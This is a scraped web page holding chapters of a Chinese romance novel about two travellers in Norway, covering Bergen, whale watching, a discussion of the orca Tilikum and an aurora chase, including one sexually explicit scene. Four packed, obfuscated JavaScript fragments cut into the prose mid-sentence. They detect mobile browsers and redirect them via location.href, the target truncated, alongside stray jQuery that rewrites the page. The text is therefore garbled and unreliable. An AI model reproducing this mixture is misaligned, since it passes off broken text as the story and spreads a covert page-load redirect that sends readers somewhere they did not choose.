RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977431|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言就是这样,总要一个接着一个,直到最后撑破气球炸开。但梁宛想,仅仅十天的时间,她应该可以蒙混过去。 周沥没有再深挖下去,没有意义。 他俯身揽了揽她的头发,亲吻她的颈侧,一路蔓延。 “离开挪威后就回去你的家乡?然后呢?” “然后?”梁宛不明所以,神思被他迷得有些飘飘然,“然后工作,我有很多工作。” 明知道他问的不是这个。 周沥惩罚性地停止,用手指去揉珠子。 “不来挪威了?” “不,不来了,啊——你别……” “我是不是说过,开始了就不会轻易停止?” 这件事如此,他们的关系也应当如此。 “我们可以当网友……” 当然是假的,梁宛只会切段所有和他的联系。 “网友?” 梁宛倒吸一口气,显然他不满意她的答案。 这种时候一步步追问根本就不公平! “你可以来泰国找我,我也可以去慕尼黑找你。” 她当然不会让他找到,更不可能自己送上门。 “什么时候来?” 他低头以唇包裹住另一珠子。 “随……随时……”梁宛几乎要哭了,“Lee,我求你了……别这样……我不想在你面前失态。” 周沥拨开她汗津津额前的碎发,指腹拭过她轻颤的眼帘,缓缓吻了吻她的嘴角。 “没关系的。” 他轻声低语。 像魔法师在她耳边施了咒语,他轻轻一动,她的指甲便嵌进他的背脊,人像一颗被扎破的水球化开了,留下一地水。 她轻轻呜咽,觉得丢脸,抬起Lee的胳膊挡住自己的眼睛。他想挪走,她用力拽住不让他动。 周沥哑然失笑,缓缓问:“怎么了?” 梁宛努了努嘴。 他还好意思问? 她扭头,恨不得用他的手臂挡住自己整张脸。 “害羞?” “……你闭嘴。” 梁宛涨红了脸。 周沥不逗她了,略施了点力,手臂就从她的桎梏中抽离。 他捧住她的脸,强迫她看他。 梁宛闭上眼,就是不看。 “Mia,我不是开玩笑。我从一开始便告诉你了,十天是不足够的。” 梁宛不看他,除了有点小脾气,更多的是无法面对他此刻的赤诚。 她清楚明白自己说的每一句话都是谎言。 她叹了口气,睁开眼,反捧住他的脸在他唇上轻轻啄了一口。 “我都说了,我可以去慕尼黑找你,你也可以来泰国找我。你怎么不相信我呢?” 老天爷,就请原谅她这一次。 她像一个不耐烦的人,敷衍地用谎话哄了他。不管他信不信,只要度过最后几天,她就可以远走高飞。 “我可以相信你吗?” “当然。” 看来蜻蜓点水不够转移他的注意力,梁宛仰头加深了刚才的一吻,试探性地进入。 周沥不动声色。 她的心跳还是什么也掩饰不住。 他,不相信她。 但已没有继续追问的必要,身下这位会勾引人的骗子——从始至终没有打算说一句实话。 9. 009 黎明到来,卑尔根在朝阳下逐渐显露其面貌,金色爬上一座座房屋的尖角。 如果说奥斯陆适合阴雨绵绵天的宁静,卑尔根则更适合晴天的和煦。赤橙黄蓝的房屋点缀这座城,像油画上跳跃的颜料点,天真烂漫如童话。 Lee依旧起得比梁宛早,穿戴整齐坐在窗边等她苏醒。梁宛逐渐习惯了一醒来看见他这样,和昨晚相比换了副面孔。 不同于晚餐,酒店的早餐质量要高上许多,这让梁宛对这家酒店的印象好了不少。终于不只有那几样熟悉的欧式早点,也多了其他菜系的选择,其中三文鱼口感颇为惊喜。 酒店下方的街角开着一间花店,静静躺在阳光下。梁宛今日才发现它的存在。店门外缤纷的鲜花蝴蝶一般飞进眼底。 她停滞脚步,呆呆站了许久。 慢节奏的旅行正在往她身体中注入能量,而在北京工作时,纵有美景,她也没有时间与精力去驻足欣赏,浑身充斥褪不去的班味。休息天她也只想在家里睡觉看剧。 有时她也会心血来潮买一些鲜花,可放进花瓶里后,一瓶清水一直用到浑浊也不见换。直到桌上落满碎瓣枯叶,直到有一天她意识到花的生命已经消逝,才会第二次欣赏它们。一次是刚买回家,清香盛放;一次是死亡,腐朽难堪。 梁宛不禁想,倘若她真的有了孩子,她会有时间照顾吗?到那时,是不是要换一份清闲些的工作? 她连一瓶鲜花都照料不好,真的可以负担起一个生命吗? 晴空下,梁宛的心里下起阴雨。 可她是如此渴望一个人进入她的生命。一个和她有剪不断牵绊的人,一个足矣接纳她满腔爱意的载体。 “你对花粉过敏吗?” “什么?”梁宛回神,是Lee在与她说话,她摇摇头,“不过敏。” 这时她注意到Lee的双手背在身后,正纳闷—— 花香比色彩更先一步占领她的感官。 一捧花束跳到她面前。 风吹过街巷,发丝扬起的时刻也拂动花瓣。鲜艳的颜色近距离在梁宛眼前翩翩起舞,恍惚间,她仿佛置身于一片长满鲜花的原野,无际的旷野里只有她和风。 这是梁宛二十八岁的人生中——第一次收到鲜花。 她一直以来都不明白鲜花作为礼物的意义,不实用,甚至连美丽也是短暂的。她也只在教师节和母亲节给他人送过花。 此时此刻,她却忽然明白了旁人收到鲜花时的心情。 原来彩色的生命跃入眼中是这样的感受。 活着的生命力如此具象。 梁宛不住地颤动眼睫,低头,咬着唇清了清沙哑的嗓子。 “谢谢。”梁宛接下花,心里却犯了难。 她该怎么保存这鲜花呢?她不忍心将还未开败的花丢进垃圾桶,可是旅行途中携带又不便。 于是这一束花就这样陪同了他们一天,跨越半个卑尔根。 日落时分驻足在卑尔根大教堂前,它还安安静静躺在梁宛的帆布袋中,袋底落了些花瓣。 梁宛的体力不好,城市漫步的兴奋退去后,只剩腿部的酸软和无力。 教堂里游客并不多,很安静。 梁宛和周沥并排坐在长椅上休息,默契地不说话。 梁宛一边整理被压坏的花瓣,一边心想,她真庆幸Lee不是一个话多的人。对她来说,不断与人交流是很费神的一件事。尤其在疲惫时,有个人陪着她一起安静最好。 教堂的窗户框着落日,当最后那一抹光沉入底,梁宛和周沥的手机不约而同响起。 一首轻音乐,一首抒情英文歌,融合交织在一起,仿佛本就为一体。 失神片刻后,梁宛注意到这是徐菲林打来的,她挂断电话,改用微信打了回去。 这时才发现徐菲林给她发了好几条微信,工作群里似乎也乱套了。 “Alice姐。” 徐菲林的火气颇大,倒不是针对梁宛,电话刚接通,她的情绪没收住,“你怎么回事?给你发了这么多条微信都不回?” 梁宛没戴耳机,尽管手机紧贴着耳朵,还是有不少声音外泄。她不动声色地往长椅最边缘挪了挪,尽量远离Lee。幸好他也在打电话,没有往她这里看。 “抱歉,我在旅游,没有时刻关注信息。” 徐菲林稍稍冷静了些说道:“我也不是故意要打扰你旅行,但Ben这次犯的错误太低级了!现在全部门的人都在给他擦屁股。你们是一个team,这事你也得负责,你给我好好说说他。” 梁宛深呼吸,忍不住无声叹了一大口气。 消停了几天之后,工作的魔爪还是越过大洋伸向了她。 陈彦那个祖宗原本就是有关系的空降兵,一开始部门里的人私下里都对他有意见,但因他性格不错,做事也不偷懒,逐渐就与同事打成一片。只可惜他是个粗枝大叶的人,总是会犯一些不该犯的错。 梁宛对他的态度就是:不讨厌,但他也实在令她头疼不已。 陈彦还是一个话多的人,午休时都闲不下来,总会拉着她说话。一来二去,陈彦犯什么错,徐菲林都找梁宛处理,美其名曰他俩关系好,实则是徐菲林不想冒得罪这位祖宗的风险。可梁宛只是一个圆滑生存的人,她与谁的关系都不差,也谈不上好。 “好我明白,我马上联系他。Alice姐你消消气。” “这小兔崽子!这都几次了!”徐菲林逮住一个人就忍不住吐槽,可气归气,又不能真的让陈彦卷铺盖走人。 陈彦是个听劝的人,每回说的话他都用心地听。梁宛觉得他应该是骨子里少根筋,每隔一段时间就必定要翻车一回。 挂断徐菲林的电话,梁宛又给陈彦拨过去,无暇顾及周沥在做什么。 周沥接到的是爷爷的电话,简短谈话后便结束。一抬头,看见梁宛拧着眉头,一只手揉着自己的太阳穴,看起来遇到烦心事了。他刚才无意听见了她手机中传出的声音,不难猜出是工作问题。 这一会儿,她又主动打了一个电话,苦口婆心地在于电话那头的人说着什么,想恼又不敢恼的表情。 周沥低头,视线没有焦点地落在手机上,若有所思。 哪一面才是真实的她? 才见面就敢邀约陌生人的大胆女人?还是眼前这个谨小慎微的小可怜? 或者都不是。 良久,她打完电话,坐在长椅的角落上长舒一口气,仰着头盯着教堂顶看了很久。忽然间,她意识到自己还有同伴,快速地坐回他身边。 天空比刚才更暗了。 梁宛看了一眼时间,四点半。 “你饿了吗?我们去吃饭吧。” 她的生活很简单,吃穿活着。和周沥的短暂际遇,是平凡里的意外。 夜晚的交织已成习惯,但今夜谁都没有问一句。 周沥没有处理工作,梁宛也没有沉迷手机。徒步一天后,受了伤的鲜花终于找到一个花瓶安稳住了进去。它浸没在水中,悄无声息见证床上的花朵绽放。 梁宛今夜的梦不同以往,外面是冰天雪地,她却在一个温暖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025762|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山洞里,枕着一头温暖的狼。狼的身形很大,蜷着身体,她躺在它的怀里。 滴滴滴,梁宛随着闹钟惊醒。 睁开眼就翻阅工作群,没有什么大事,她放下心,困倦地揉着头发。 “今天醒这么早?” 她这发现周沥还也刚刚醒转,就躺在自己身边。他坐起身,戴上眼镜,那双深邃的眼睛又藏了起来。 梁宛扭头。 窗外正是日出时分,阳光穿过窗帘的缝隙,在混乱的床上缓缓移动。 他们没在青\天白日时这样赤条条相见过,梁宛一边拉高了被角,一边涨红了脸。直视前方,前日的鲜花盛放着向她说早安。 “你今天……起得比平时晚一些。” “嗯,昨天睡得晚。”周沥拾起床头边的白T穿上,他没有故意想要看她窘态的恶趣味,一身便服后才开始走动,“你可以再睡一会儿。” 梁宛起初不敢看他,因为他一句“昨晚睡得晚”又想起自己夜里的行为,余光瞥见他已经穿上衣服,怔了一秒后才放松地去看他。 “我不睡了。” 闻言,周沥把她的衣物拿到床上,单膝半跪在床沿,抚平她头顶翘起的黑发。 周沥进入卫生间后,梁宛才开始穿衣。 他们还是第一次就这样赤条条睡了一整晚。 轮到梁宛洗漱的时候,周沥又开启一场临时短暂的会议。他戴上眼镜,一边翻阅资料一边提问。 谈及德国乃至欧洲市场问题时,浴室里那微弱的水流声戛然而止。周沥抬了抬头,随后加快了语速。 “Lee……”梁宛小心翼翼探了一个脑袋出来,“可不可以帮我拿一下浴巾?” 周沥抬眼,耳机里其他人的声音不约而同停了下来。 “Boss?” 众人的画面中,周沥轻声对他们说了一句“wait”,从容不迫摘下耳机,离开了画面。 “是这一条么?” “嗯,谢谢。” 从来都不用酒店提供的浴巾,这个习惯周沥和梁宛都有。昨天晚上做完后,梁宛枕着周沥直接睡倒,今早起来他们也默契地都淋浴了。 在某些微不足道的方面,他们很相似。 “不好意思打扰你看文件了。” 梁宛像一只小乌龟把头缩回壳里般,谨慎地把头从门缝中缩回去。 周沥无声笑了笑,他该不该告诉她——他正在开会。 “没事。” 周沥坐回电脑前,戴上耳机听到的第一句话: “Boss,你不是在奥斯陆看望爷爷吗?” 问得很委婉,难掩八卦心。 周沥低眉翻阅文件,冷声对另一个人道:“Luis,继续你刚才的汇报。” 八卦的人默默闭上嘴,险些忘记这位boss是一个尤其注重隐私的人,刚才的问题显然迂矩了。 果不其然,会议结束之前,周沥靠着椅背,冷厉说道:“如果有人对八卦轶事感兴趣,应该去当娱乐记者,而不是坐在这。” “Lee,我们今天去哪儿?” 梁宛梳着头发从卫生间走出来,吹到半干的头发湿答答搭在肩上,她对吹头发这件事没有多少耐心。 周沥关闭会议,起身观察她半晌后,扼住她的手腕,“过来把头发吹干。” “不要紧,等下出去让风吹一会儿就干了。” “Mia,”周沥失笑,吹风开启的声音没过他一半的声音,“现在是冬天,你是想让头发结成冰?” “……” 10. 010 外冷内热。 这是梁宛这几日与Lee相处后得出的结论。 但梁宛并不会自大到觉得自己看透了他这个人。 离开卑尔根的那天,梁宛收拾好行李,望着桌上相处过朝夕的花。她不可能再带着它,也不至于为此有多么感伤,只是它的意义特别,忍不住多看两眼。 盛放的、凋零的,还有花苞,相拥在一起。 梁宛有些失神。 下一刻,她看见Lee利落地将一整束花丛花瓶中取出,水倒进盥洗池,花扔进了垃圾桶。他做这些的时候并没有停顿,也没有多余的表情,像剪掉衣服上的标签那样干脆。 梁宛怔了一瞬,随即收回视线。 他说:“走吧。” “好。” 梁宛不知道如何形容此刻胸腔中升起的怪异感受,像晚高峰时水泄不通的堵塞马路。 但这种堵塞很快被阳光驱散。 抵达特罗姆瑟时,成群的海鸥在粉色的夕阳中飞越头顶,振翅声在海风的咸腥中宛若电影里的最后一幕。 梁宛低下头,手机锁屏上出现日历特殊日子的提醒。 她皱了皱眉,一整天都不太想打开手机。不过她终于意识到,此次挪威行已早早过半,所剩不过几日。她看了一眼Lee,也不知道是可惜,还是解脱。但无法否认,她对于挪威这个国家的记忆,将会和Lee这个人紧紧绑定在一起。就像提起候鸟时,人们就一定会想到天空那般。 特罗姆瑟之行一为极光,二为观鲸。两者都需要听天意看运气。 梁宛跟随网上攻略报了一个观鲸团。 中等大小的船只,游客约有三四十人。船舱内部座位不算宽敞,稍稍一动,肩膀就会与Lee的相撞。 行船前,导游说着注意事项,几次三番提到需要稍作等待,有一家人正在往这边赶来。 等待期间,前座一位带着孩子的父亲转过头来搭话。 “你们喜欢虎鲸吗?” 说的不知哪国语言。 梁宛一头雾水,周沥用英语翻译给她听:“他问你喜不喜欢虎鲸?” 对方反应过来,开始用英语搭腔:“我的孩子很喜欢虎鲸,所以带他来看看。” 梁宛点点头,一抬眼就和前座的小男孩对视上。他跪在座椅上,双手抱着椅背,一谈及虎鲸便兴奋起来。 “你喜欢虎鲸什么?” “长得好看,”梁宛有些招架不住他的热情,下意识揪了揪身边人的裤子,“还有它的天真和残忍。” 小男孩露出崇拜之情,“它们太厉害了,你看过虎鲸猎杀大白鲨的视频吗?” “嗯,它们很聪明。” “看!”小男孩从衣领里拽出一条项链,绳子上串着木雕而成的虎鲸尾巴,“我爸爸上个月带我去了海洋世界,我被邀请上去和虎鲸互动,并获得了这个礼物!那条虎鲸特别听话。” 梁宛蹙了蹙眉,看见尾巴上刻的海洋世界名字。 “你很幸运,”她祝贺他,“你今天能看见海洋中的虎鲸,在家园里它们会更自由和美丽。” 小男孩不以为意,得意笑道:“我知道,你一定是嫉妒我了。” 他收起项链,坐了回去。 谈话结束,最后一家游客也到齐。是一对带着两个女儿的夫妇,金发碧眼的小女孩长得尤其可爱,梁宛忍不住多看了两眼。 “把药吃了。” 梁宛回神,“什么药?” 周沥递来一瓶水,“晕船药。” 梁宛怔了怔,默默吞了药。 她只是没想过,自己都不记得的事,还有人会记得。 “我小时候去过圣地亚哥的海洋世界。”梁宛垂着眼,主动延续起有关于虎鲸的话题,“也像他一样被邀请上去,获得了一条项链。” 那条项链如今还保存在家中,搬家时偶然看见。项链的链条已经充满岁月的痕迹。 周沥颔首,若有所思问她:“开心么?” “当时肯定是开心的,”梁宛摸着自己空荡荡的锁骨,记忆被拉长,“长大了解虎鲸的故事后,心情就复杂许多了。你知道Tilikum吗?” 周沥缓缓说出三个字:“杀人鲸。” 船缓缓驶动,梁宛侧身将指尖搭在窗上,低着头看船边翻起的白色浪花。 “嗯,大家是这么叫它的,也有些人这么称呼所有虎鲸,虽然它们并没有什么野外伤人事件。人类在Tilikum两岁的时候将它从亲人身边带走,也远离了那片没有边际的海洋,自那以后,它只能活在一个四处是壁的水槽里,所有的呼唤都反弹回到它自己的耳中。它患上了严重的精神疾病,然后……开始了它的杀戮。” “它一生杀了三个人,”梁宛笑了笑,“可是讽刺的是,杀人以后,它并没有再受到任何额外的‘惩罚’。人类也没有放弃他,因为它很有‘价值’,它能创造财富,多家海洋世界争抢它,才有了第二次乃至第三次。最后它死于肺部细菌感染,享年三十六岁。” 不知道三十六年的岁月,对于Tilikum来说是漫长还是短暂。 海面在阳光的直射下蔚蓝又闪耀,浪花在梁宛平静的脸庞后流动。 周沥静静听着,视线从始至终未离开她的眼睛,只字未语。 “它不是人类,没有因为杀人付出额外的代价,它不受困于人类的法律。可是——Tilikum其实从最开始就被关在了监狱中,离开家人以后,它再也没有逃出过那个四面是墙壁的世界。” “我说它们天真又残忍,是对海洋里其他的生灵来说。它们以嬉戏为目的,也会夺走其他生命,并不为生存。我们也是,以嬉戏为目的……” 梁宛停下,意识到自己说了太多,转头去看周沥。 “我没有想说大道理的意思,没有自大地认为人类需要当救世主,我们也只是一种动物罢了。”梁宛深吸一口气,又叹出,“你当我什么都没说。” “你觉得训鲸员死有余辜么?” 周沥并没有对她的话感到不耐,他的眼神深到足以穿透她。 “不。”梁宛斩钉截铁,“Tilikum的悲剧并不是训鲸员一手促成的,比较而言,他只是整件事里最‘微不足道’的一环,他也许只是想要一份糊口的工作,无暇去顾及其他。也因此整件事才显得如此悲哀。” 梁宛并不喜欢过度与人分享内心想法,她知道自己是一个想法很多且内耗的人。 她停下来转移话题,“今天天气不错,应该能见到虎鲸。” 周沥许久没说话,梁宛便觉得他是听烦了长篇大论。 少顷,梁宛感觉到一只温暖的手掌轻轻抚了抚自己的头顶。 “会看见的。” 她回过头,却只见闭目凝神的Lee。 一闪而过的轻柔抚触实在太飘渺,她无法确定那是否真实。 从市中心行船三小时后,终于抵达观鲸区域。船长是位经验丰富的老手,行船稳当,加上提前吃的那一颗晕船药,梁宛全程的不适感很轻微。 远处的天上有着能藏起一座天空之城的大团云彩,丁达尔效应在这片没有边际的海域肆意。 海鸥伴着船只前行,船边还有艘小型的船只,更为灵活地踏浪而行。 很幸运,在抵达观鲸区域前,一群海豚像护航的使者,相伴在船的左右,不停跃起。 “看,是海豚!” “天呐,它们是精灵。” 平日里见不到的生灵瞬间让游客沸腾,所有人兴奋不已地拍照欢呼。 梁宛也是。 “Lee,可以帮我拍一张照片吗?” 梁宛来到船舱外,犹豫再三还是提出请求。 “当然。” 周沥接过她的相机,举起的瞬间,海风不断吹拂他和她的发丝,海豚在身后飞跃。 取景器中,她张开双臂,露出了最为天真的灿烂笑容。周沥猜想,如若这里没有这么多人,她会用尽力气呐喊。她有很多想法与情绪,都像埋在树下的陈年老酒一般,不见天日。 按下快门的瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049593|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的视线从取景器移到她的身上。 他们相隔不远,至多三米,偶有人从他们之间穿过。衣摆随着海风而动,轻巧地像风铃,在心中叮——叮——作响。 过了很久,梁宛不太确定地问道:“Lee,拍好了吗?” 周沥颔首,睫羽微颤,将相机交还。 梁宛以为他拍了许多张,定睛一看也不过三张,却用了这么久。但不得不说,他会构图,也会调整参数,抓拍到的表情也自然。梁宛很满意。 “让开!” 一个稚嫩又霸道的声音突然冲出。 没等梁宛反应过来,她已经被人撞开,手臂和腰重重地硌在栏杆上。她疼得皱眉龇牙,好半天才缓过来些,要去找罪魁祸首。 “把项链还给我!你怎么能抢小孩子东西!” 还是那个稚嫩的声音。 梁宛一瞧,罪魁祸首正是自己前座的那个小孩,他视若珍宝的鲸鱼尾巴项链此刻被周沥硬拽了下来。他即便踮起脚尖,伸长手臂,也够不到周沥的手心。 小孩子的拳头雨点般往周沥身上落,周沥不为所动,神情冰冷。 “爸爸,他欺负小孩!” 恶人先告状。 梁宛看不下去了,扼住男孩的手腕。 “你需要向我们道歉。”梁宛义正严辞,“如果你想要在这里拍照,你可以告诉我,而不是直接撞人。你也不可以随意对别人挥动拳头。” 梁宛眯起眼,故意半蹲用阴森森的表情对他说:“小心鲨鱼把你吃掉,虎鲸也不会帮助坏小孩的。” 男孩挣脱出来,用手指扯高眼角,试图以歧视亚洲人的动作激怒梁宛。 周沥没有梁宛教育人的耐心,冷冷说了一句:“看来你没有要回项链的想法。” 话音刚落,只见他扬起手臂朝着海的方向扔,物件坠入海洋的浪花声淹没在海豚的跳跃中。 “No——” 男孩崩溃地抱头呐喊,趴在栏杆上鬼吼鬼叫。 不知从哪儿搭讪回来的男孩父亲目睹这一切,却直到现在才插手。他似乎乐得看别人替他教育孩子。 “快道歉。” “不,我不可能和这两个恶魔道歉!” “怎么可以这样没有礼貌?” 梁宛听了一会儿那假惺惺的对话,听得一震恶寒,一转头发现Lee已经坐回船舱。 “你把项链扔进海里了?” “没有。” 梁宛讶然,“我以为你真的把它扔了。” “被鱼吃了可不好。” 梁宛失笑,“也是,那样就污染海洋了。” 她一边揉着左腰,一边翻阅相片。过了会儿她揉累了,周沥伸手轻轻揉起她的腰。 梁宛起初想闪躲,可他的力道实在舒服,她便默默享受着。 “熊孩子真是麻烦。” 周沥淡淡道:“所以我讨厌小孩。” 梁宛示意后上船那一家的女孩,她们乖乖地坐着,脸上洋溢的笑容灿烂而治愈。 “那样的孩子就不讨厌。” 周沥顺着她的目光短暂看了一眼。 梁宛又说:“等我有小孩,我一定好好教导她,对人要有礼貌,也要有戒备心。我希望她会有很多梦想,我会尽我所能去支持她。” 周沥没有说话。 在Lee面前说得多了,梁宛便有些心虚。 “你,你呢?” 周沥停顿了一下。 “我不喜欢孩子。” 梁宛怔怔看他,“乖小孩也不喜欢吗?” “嗯。” “为什么?” 周沥侧目。 梁宛很少对他打破砂锅问到底。 “我更喜欢不被打扰的安静生活。” “嗯,”梁宛轻轻应声,“明白了。” 梁宛不知道这是好事还是坏事。 只知道分别以后不该再去打扰他的生活。 就像此刻背对游船远行的海豚,短暂的相遇已是难得。 11. 011 观鲸之行不像预想中那样幸运,他们并没有寻找到虎鲸群。 船上哀怨声响起时,梁宛却很平静。 她对大多事都没有执念。 对于已经付出过努力,却还无法达成的事,她懂得放弃。 一味追逐往往伤神又伤心。 “也不算太坏,起码看见海豚了。” 梁宛对着相机里的照片自我安慰。 周沥耳边是霍易斐的声音,电话里他仍旧为要和女友异国恋这件事哭诉。周沥没搭腔,他对这些事不感兴趣。比起霍易斐震耳的声音,梁宛的嘀咕声又细又轻,可偏偏让周沥听了去。 他的注意力不在那通电话。 周沥想起之前和霍易斐讨论的“必要性”课题。 “你就这么离不开你女朋友吗?” 哭诉被打断的霍易斐怔了怔。 “当然,我和她在一起这么多年,最长也只分开过两周的时间。她回国之后,我们会几个月都见不到面,你知道那有多漫长吗?度日如年。” 周沥看着梁宛,倾听电话里的声音,用德语淡淡问道:“你怕自己变心,还是怕她变心?” “我当然不会变心!”霍易斐铿锵有力,“我也相信她。” “那你在怕什么?” 若真这么笃定,距离又算得了什么?不过是怕人心抵挡不过距离,也抵挡不过时间,更抵挡不过身边的人情冷暖。 周沥没将这泼冷水的话说给他听。 “周沥,你到底明不明白,喜欢一个人是时时刻刻想和她在一起。” 忽然间,梁宛感受到了周沥的目光,抬起头看他,眼神中带有些疑问。 周沥面无波澜收回视线。 “连体婴?” “你讲话能别这么恶心吗?”霍易斐恼了。 周沥依旧冷淡,“你知道我不喜欢听这些。我认可你的工作能力,但我从来不认同你的感情观。我以为每个人都是独立的个体,该有私人的空间,保持一定的距离,而不是像你缠着林晓茵那样。” 霍易斐吸了一口气,有一箩筐的话想要反驳,最后放弃。 “行,算我贱,非得和你这个冷血的人说这些。你早晚孤独终老。” 周沥并不恼,他不在意这样的诅咒。 “还有事吗?” “你什么时候回慕尼黑?原计划不是明天回来吗?” 周沥沉默片刻,“再过几天。” “到底几天?” “下周。” 等梁宛离开。 其实周沥大可以撇下她,让她继续原来的一人旅行。但他想,既然已经答应她,食言总归是不该的。 通话结束,梁宛清澈的声音响起。 “是工作?” 周沥收起手机,浅浅应了一声。 梁宛说出自己的顾虑,“如果你的工作很忙,其实你不用一直陪着我的,白天我可以自己一个人游玩。” 说到底,她不过是图他的身子,目的纯粹又直接。 周沥转向窗外,微微蹙起眉,“不需要。” “不影响你工作就行。”梁宛道,“我以前一直听说德国人反内卷,现在看来也不全是如此。你的老板连你的休假时间也不放过。” 周沥弯唇,蹙起的眉头松开,“嗯,他很坏。” “这不违反德国的法律吗?” “他只手遮天,我不好反抗。” “啊?” 周沥偏着身体,眼前是她多变生动的表情。 她惊讶的时候会张开嘴,圆圆的口形,眉毛忧郁纠结地拧在一起,眼睛睁得又圆又亮,担忧之情就写在脸上。 “你不能将他告上法庭吗?我听说德国对这方面的监管很严格,你的老板说不定还需要赔偿你。” “他有背景,我一定告不过他。” 谎言就是这样一步一步扩大的。 惊讶、担忧、愤慨、怜悯…… 可她的神情实在生动得令周沥止不住想要观察。 “这么可怕,你不可以换一份工作吗?” “他给我的待遇不错。” 梁宛忽然就感同身受了。 虽然工作上有诸多不如意,但为了薪资,谁不是在忍让呢? “那你多注意身体健康。” “嗯。” 周沥的这一声忍不住带了点笑意。 有时候他觉得她像一只刺猬,谨慎小心,有时候又觉得她天真得仿佛没有见过世界的恶。像海里的虎鲸,对着人类露出最天真无害的表情那样。 “没有看见虎鲸,失望吗?” 梁宛笑笑,“失望肯定是有的。但这种事讲究一个缘分,顺其自然吧。” - 特罗姆瑟整个小镇都位于北极圈内。 观鲸团的导游说,在这里追极光其实不需特意看极光指数,只要天空无云,抬头就能看见。 梁宛也是这样想的。 回到酒店后,她走到露台上望天。 不知道是不是最近运气不好,浓墨下的天空附着厚厚一层云,让天色看起来如排山倒海般压抑。 她拍了一张此刻的天空,发给等着看极光照片的谢晚馨。 「图片」 「看不到极光,有太多云了。」 国内正是凌晨,谢晚馨应该正在睡觉,梁宛不等她的回复,发完信息便放下手机去洗澡。 夜半,屋外风雪开始肆虐。即便关着窗,梁宛也能注意到窗外的风声。 三个小时前,Lee说他要在酒店咖啡厅办公。梁宛不知道他为什么独独今天要避着自己,但她不会多加干涉。 只是三小时过去,Lee丝毫没有要回来的预兆,眼看时间越来越晚,就要跨过零点迈向第二天,梁宛有些坐不住了。 她在睡衣之外裹了一件酒店的浴袍,决定去咖啡厅找他,问问他今晚的安排。如果他要通宵工作,她也好死心去睡觉。 尽管临近午夜,酒店的咖啡厅依然有不少人在谈话。 她寻了一圈,也没寻到Lee。 到这时她才意识到一件事,她没有Lee的联系方式。 这几日他们几乎寸步不离,从未有需要发信息的时刻。 在原地怔了片刻后,梁宛无奈笑了笑,正打算回到房间去,一转身却看见Lee踩着雪,从酒店正门风尘仆仆归来。 周沥一进来就看见了梁宛。 一身洁白的浴袍在人群中是那样显眼。 他没有多说无意义的话,大步流星走向她,拉起她的手往房间走。 “回去换一身衣服,要保暖的。” 他个高腿长,步子也大,梁宛小跑着才勉强跟上他,喘着气问他:“怎么了?我们要出去?” “看极光。” 梁宛怔了怔,“可今天都是云层,看不到极光。我们可以等明日。” “明日也一样,这一片会被厚厚的云层覆盖。” 明天也…… 运气真不好。 梁宛在心里苦笑了一番。 “真看不到也没关系,你不用陪着我折腾,顺其自然就好。” 周沥没有附和她的话,动作利索地从衣柜里取出她外出的一套衣服,拿在手上问她:“我帮你换,还是你自己换?” 梁宛被他认真的劲震到,“我自己换。” 将自己裹得像个熊后,周沥还奉献了一条自己的围巾给她,硬是将她里三层外三层都裹得严严实实。 跟着他走到停车场,梁宛这才明白他刚才去租了一辆越野车。 如果是认识周沥的前三天,梁宛恐怕会误以为他真要将她拖去无人之地杀了或者卖了,此刻应想着如何逃跑。可现在,她安心地坐了下来,系紧了安全带。 “我们要去哪?” “追极光。” 追极光—— 罗曼蒂克又不真实的词汇。 只有他们两个人的追逐极光之行。 微信响了起来。 谢晚馨:「刚起床呢。」 「怎么全都是云?你的运气怎会如此差!鲸鱼没找着,极光也看不到。梁宛同学,你到底有没有好好做攻略啊!你下次出门还是带个J人吧,比如我。」 梁宛写道:「也许我能看见了。」 谢晚馨:「云突然散开了?」 梁宛:「有个极光猎人说要带我去追极光了。」 路途颠簸又昏暗,飘落的雪花被车前灯照得透亮,一朵朵争前恐后地印在前车窗上。 公路、野地的路灯鲜少却明亮,每当掠过路灯时,那几近刺眼的光就会将Lee的轮廓照得明亮。 半张脸藏在围巾里的梁宛,只露着一双大眼睛,每当灯照亮Lee,她就像那扑火的飞蛾,忍不住去看他。 “别看我,”周沥忍俊不禁,“看风景。” 她的眼神灼热,即使在余光的角落中也无法忽视。 梁宛脸一热,飞速挪开目光,嘴硬道:“没在看你,我在看那一侧的风景。” 周沥轻笑,“那就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050091|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 